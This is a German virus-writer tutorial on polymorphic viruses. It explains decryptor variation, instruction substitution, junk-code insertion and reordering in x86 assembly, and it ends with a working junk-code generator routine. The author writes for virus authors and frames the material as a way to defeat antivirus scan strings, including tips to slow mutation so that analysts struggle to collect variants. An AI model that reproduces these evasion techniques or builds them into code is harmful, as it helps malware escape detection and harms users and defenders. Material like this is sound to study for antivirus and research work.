Polymorphe Viren by SnakeByte [ SnakeByte@kryptocrew.de ] Ok, was ist ein polymorpher Code ? Das ist ein Code der sich selber immer wieder verändert, so das keine Kopie aussieht wie eine andere. Kennen wir doch, werden einige denken, genau das passiert auch wenn ich einen Virus verschlüssele. Halt, es bleibt beim Verschlüsseln immer noch ein statischer Teil. Der Decryptor, also der Teil des Codes, der den Rest entschlüsselt, deshalb wird dieser in Polymorphen Viren so gestaltet, das er bei jeder Infektion neu erstellt wird, so daß er jedesmal anders aussieht. Schauen wir uns ein Beispiel an: ( Ich benutze hier die Windows Register, esi, eax.. sie sind die gleichen wie unter DOS nur, das jetzt 32 Bit hineinpassen ) mov ecx, VirusLänge lea esi, Start XLoop: xor byte ptr [esi], Key inc esi loop XLoop Folgender Code erledigt genau die gleiche Aufgabe: lea esi, Start mov edi, esi mov ecx, VirusLänge XLoop: lodsb xor al, Key stosb dec ecx cmp ecx, 0 jne XLoop Man kann also alles in mehreren Varianten schreiben. Dies wird bei polymorphen Code ausgenutzt. Vesselin Bontchev, ein Anti-Viren Hersteller hat einmal eine Tabelle aufgestellt, über die Verschiedenen Level der Polymorphie: 1. Mehrere Decryptoren, von denen einer ausgesucht wird 2. Variable Instruktionen für jedes Teilstück 3. Garbage / Junk Code 4. Veränderbare Reihenfolge 5. 2+3+4 --------------------------------------------------------- 6. Permutation 1.) Hier gibt es mehrere verschiedenen Decryptoren von denen einer ausgewählt wird, wenn man nun für jeden dieser Code-Stücke einen Scanstring erstellt, wird der Virus leicht entdeckt, dies ist also nicht sehr effektiv. 2.) Hier gibt es für jedes Teilstück mehrere Instruktionen, von denen jedesmal eine ausgesucht wird: Für mov ecx, Viruslänge könnte auch stehen xor ecx, ecx add ecx, VirusLänge push VirusLänge pop ecx mov eax, VirusLänge xchg eax, ecx Ich glaube ihr wisst nun worauf ich hinaus will ;) 3.) Garbage bzw Junk Code sind Codestücke, die im Grunde völlig nutzlos sind, bzw den Decryptor in seiner Funktionsweise nicht beeinträchtigen: nop stc clc mov eax, eax add ebx, 342341h ( ebx wird ja nicht verwendet ) Diese dienen nur dazu, das kein Scanstring erstellt werden kann, da jedesmal anderer Müll in den Decryptor eingefügt wird. Es gibt sogar Polymorphe Viren, die Calls und Jumps in den Decryptor mit einbauen, so das der Code undurchsichtiger wird und das Ganze nicht so "zusammengekleistert" aussieht ( 10 nops in 20 Instruktionen sind halt merkwürdig *g* ). Verwenden wir mal etwas Junk-Code im ersten Beispiel weiter oben: mov ecx, VirusLänge nop ; Junk nop ; Junk lea esi, Start nop ; Junk nop ; Junk XLoop: xor byte ptr [esi], Key nop ; Junk inc esi nop ; Junk loop XLoop nop ; Junk Da der Junk-Code Generator normalerweise nicht immer den gleichen Junk einfügt könnte der Code auch so aussehen: mov ecx, VirusLänge add ebx, 452h ; Junk xor eax, edx ; Junk lea esi, Start and ebx, ebp ; Junk sub edx, 3234h ; Junk XLoop: xor byte ptr [esi], Key mov eax, ecx ; Junk inc esi inc ecx ; Junk loop XLoop stc ; Junk Der Code sieht komplett anders aus, macht aber immernoch genau das gleiche, wird also in seine Funktion nicht beeinträchtigt, aber: das Ganze sieht im Hexeditor komplett anders aus: Version 1: B9D0 0700 0090 90BE 5210 4000 9090 8036 0090 4690 E2F8 Version 2: B9D0 0700 0081 C352 0400 0033 C2BE 5210 4000 23DD 81EA 3432 0000 8036 008B C146 41E2 F7F9 4.) Dies ist einfach das Austauschen 2er Instruktionen z.B. lea esi, Start mov ecx, VirusLänge wird zu mov ecx, VirusLänge lea esi, Start Also die Reinfolge der einzelnen Instruktionen wird verändert, so kann man zum Beispiel auch verschiedene Arten der Verschlüsselung generieren: xor byte ptr [esi], 5 inc byte ptr [esi] neg byte ptr [esi] erzeugt anderen Code als : inc byte ptr [esi] neg byte ptr [esi] xor byte ptr [esi], 5 Dadurch können Scanstrings nicht mehr so einfach verwendet werden, da hierdurch Wildcards für den auswechselnden Teil verwendet werden müssen. Wenn dieser Teil zu lange ist, kommt es beim Benutzen von zu vielen Wildcards zu Fehlerkennungen, was den Scanstring unbrauchbar macht. 5.) Ein solcher Polymorpher Code beinhaltet alle vorhergegangenen Arten um sich ständig zu verändern. Dies ist eigentlich die Stufe die eine Poly-Engine haben sollte um effektiv zu sein. 6.) Permutation ist von der "Güte" genause wie die 5.te Stufe, ist aber eine komplett andere Technik. Hier wird der Virus in mehrere Teile zerteilt, die dann ausgetauscht werden. z.B.: - Suche nach Dateien - Infection - Payload wird zu - Payload - Infection - Suche nach Dateien Dabei wird nur die Reinfolge in der Datei verändert, durch Jumps wird dafür gesorgt, daß der Ablauf der gleiche bleibt ( klar , ansonsten würde der Virus nicht mehr funktionieren ) Die Standart-Technik die benutzt wird ist Nr.5 da diese die meisten Variationen bietet. Normalerweise beinhaltet der polymorphe Teil nur den Decryptor, mitlerweile gehen, aber schon manche Coder soweit, in diesen Teil noch Anti-Detection Tricks mit einzubauen, so daß das Entschlüsseln des eigentlichen Code erschwert / unmöglich wird. Wie reagieren die AV's auf polymorphen Code ? Normalerweise emulieren sie den Decryptor und suchen nach einem Scanstring unter der polymorphen Schicht. Wenn die Emulation nicht funktioniert wird versucht, ob man den Verschlüsselten Teil durch Cryptanalyse entschlüsselt bekommt. Wenn das Programm im Decryptor ein Xor byte ptr [esi], 4 entdeckt, wird es wissen wie der Code verschlüsselt ist, so daß es nicht den Decryptor emulieren muss, sondern den Code auch selbst entschlüsseln kann. Eine Poly Engine ist der Teil im Virus, der den Decryptor bastelt. Was muss diese Engine nun leisten ? Sie muss dafür sorgen, das es keine statischen Bytes an festen oder variablen Positionen mehr gibt, so das Scanstrings unmöglich für AV's zu benutzen sind. Die Größe des Decryptors bzw. des kompletten Viruses kann sich durch die Polyengine auch bei jeder Infection verändern, wodurch das ganze noch 'unstatischer' wird. Eine Polyengine, ist meistens einiges an Code und darf durchaus so groß sein, wie der Rest des Viruses. Einen Polymorphen Virus zu analysieren ist eine langwierige und langweilige Sache für einen AV'er, da er tausende Dateien infiziert um zu sehen, welche verschiedenen Versionen die Poly-Engine produziert. Man sollte versuchen, die Poly Engine zu verlangsamen, da das die Analyse erschwert. Wenn z.B. alle Versionen eines Viruses auf einem Rechner gleich sind, muss der AV'er das Ganze noch auf 5-6 weiteren PC's analysieren, damit er genügend verschiedene Versionen des Viruses bekommt. So könnte man dafür sorgen, daß der Virus nur alle 10 Generationen eine neue Version erstellt oder nur Freitags, oder die Varianten vom Benutzernamen abhängig sind, oder von gewissen Bios Einstellungen, oder, oder oder ... ;) Je langsamer umso wirkungsvoller ! Da eine Poly-Engine auf den Virus abgestimmt sein sollte, werde ich hier dazu keinen Code zeigen. Deshalb werd ich hier nur einen einfachen Junkcode Generator zeigen. Der Code dürfte zwar in der Heuristik ein paar Flaggen aktivieren, das es Junkcode ist, aber um die Scanstrings zu verschleiern reicht es .. ;) ---------8<----------------- ; ecx enthält die Anzahl der Instruktionen die ; eingefügt werden sollen, ; edi zeigt auf die Stelle an der sie eingefügt werden. push ecx ; ecx speichern RandJunkLoop: push ecx ; für den Loop speichern push 8h ; die Funktion GetRand gibt uns eine Zahl zwischen 0 und ecx pop ecx ; in edx und eine Zufällszahl in eax zurück call GetRand xchg eax, edx ; 0-8 in eax lea ebx, [ebp+OpcodeTable]; ebx zeigt auf die Opcodes xlat ; Xlat wählt aus der Tabelle einen Opcode aus stosb ; diesen speichern wir ( 1. Byte ) xor eax, eax ; eax löschen ; das erste Byte ist für jede Instruktion immer gleich, ; egal mit welchen Registern sie verwendet wird ; das zweite Byte enthält die Informationen zu den Registern ; Reg1 enthält das erste Register ; ( Zahl zwischen 0 und 8, wobei jede Zahl ; für ein Register steht ) ; 0 - eax ; 1 - ecx ; 2 - edx ; 3 - ebx ; 4 - esp ; 5 - ebp ; 6 - esi ; 7 - edi ; jedoch sind 1 und 6 ausgenommen, da diese im Decryptor ; verwendet werden. Deshalb dürfen sie nicht verändert werden. mov al, byte ptr [ebp+Reg1] shl eax, 3h ; mit 8 multiplizieren add eax, 0c0h ; Basis addieren ; zweiten Register addieren add al, byte ptr [ebp+Reg2] stosb ; das ganze speichern pop ecx ; ecx wiederherstellen loop RandJunkLoop ; und weitermachen pop ecx ; teilweise brauch man die Länge des Decryptors, die des ; Junkcodes wird hier addiert shl ecx, 1 ; Anzahl der Junk Instruktionen mit 2 multiplizieren ; und addieren add dword ptr [ebp+PolyLen], ecx ret ; zurück.. OpcodeTable: ; diese Tabelle enthält das erste Byte ; der 8 verwendeten Opcodes db 08Bh ; mov db 033h ; xor db 00Bh ; or db 02Bh ; sub db 003h ; add db 023h ; and db 013h ; adc db 01Bh ; sbb ---------8<----------------- Wenn man nun in seinen Decryptor 4 mal Junkcode mit diesem Generator einfügt, kann man allein dadurch eine enorme Anzahl an Variationen erreichen: 8 Befehle * 8 Register1 * 8 Register2 * 4 = 2048 Dadurch hat man eigentlich alle Scanstrings ohne Wildcards ausgeschaltet. Man kann das ganze aber immer noch mit Platzhaltern erkennen : ( ? = 1 Byte das auswecheslbar ist * = X Bytes die auswechselbar sind ) 34h 23h ? ? 34h 2ah ? ? ... Wenn man nun 4 mal zwischen 1 und 4 Instruktionen einfügt steigt die Anzahl der Versionen um ein vielfaches: 8^3 * 4 ^ 4 = 131072 Um so einen Virus zu erkennen muss man Wildcards mit variabler Größe im Scanstring verwenden: 34h 23h * 34h 2ah * 0a8h 13h * ... Wenn nun der Rest der Poly-Engine dafür sorgt, das die Zwischenstücke jedesmal andere sind kann in diesem Teil des Viruses kein Scanstring mehr erstellt werden. Ok, das wars aber für heute. Ich hoffe das mir nun öfters die Zeit bleibt ein wenig an Tutorials zu schreiben. Also bis zum nächsten mal... cu SnakeByte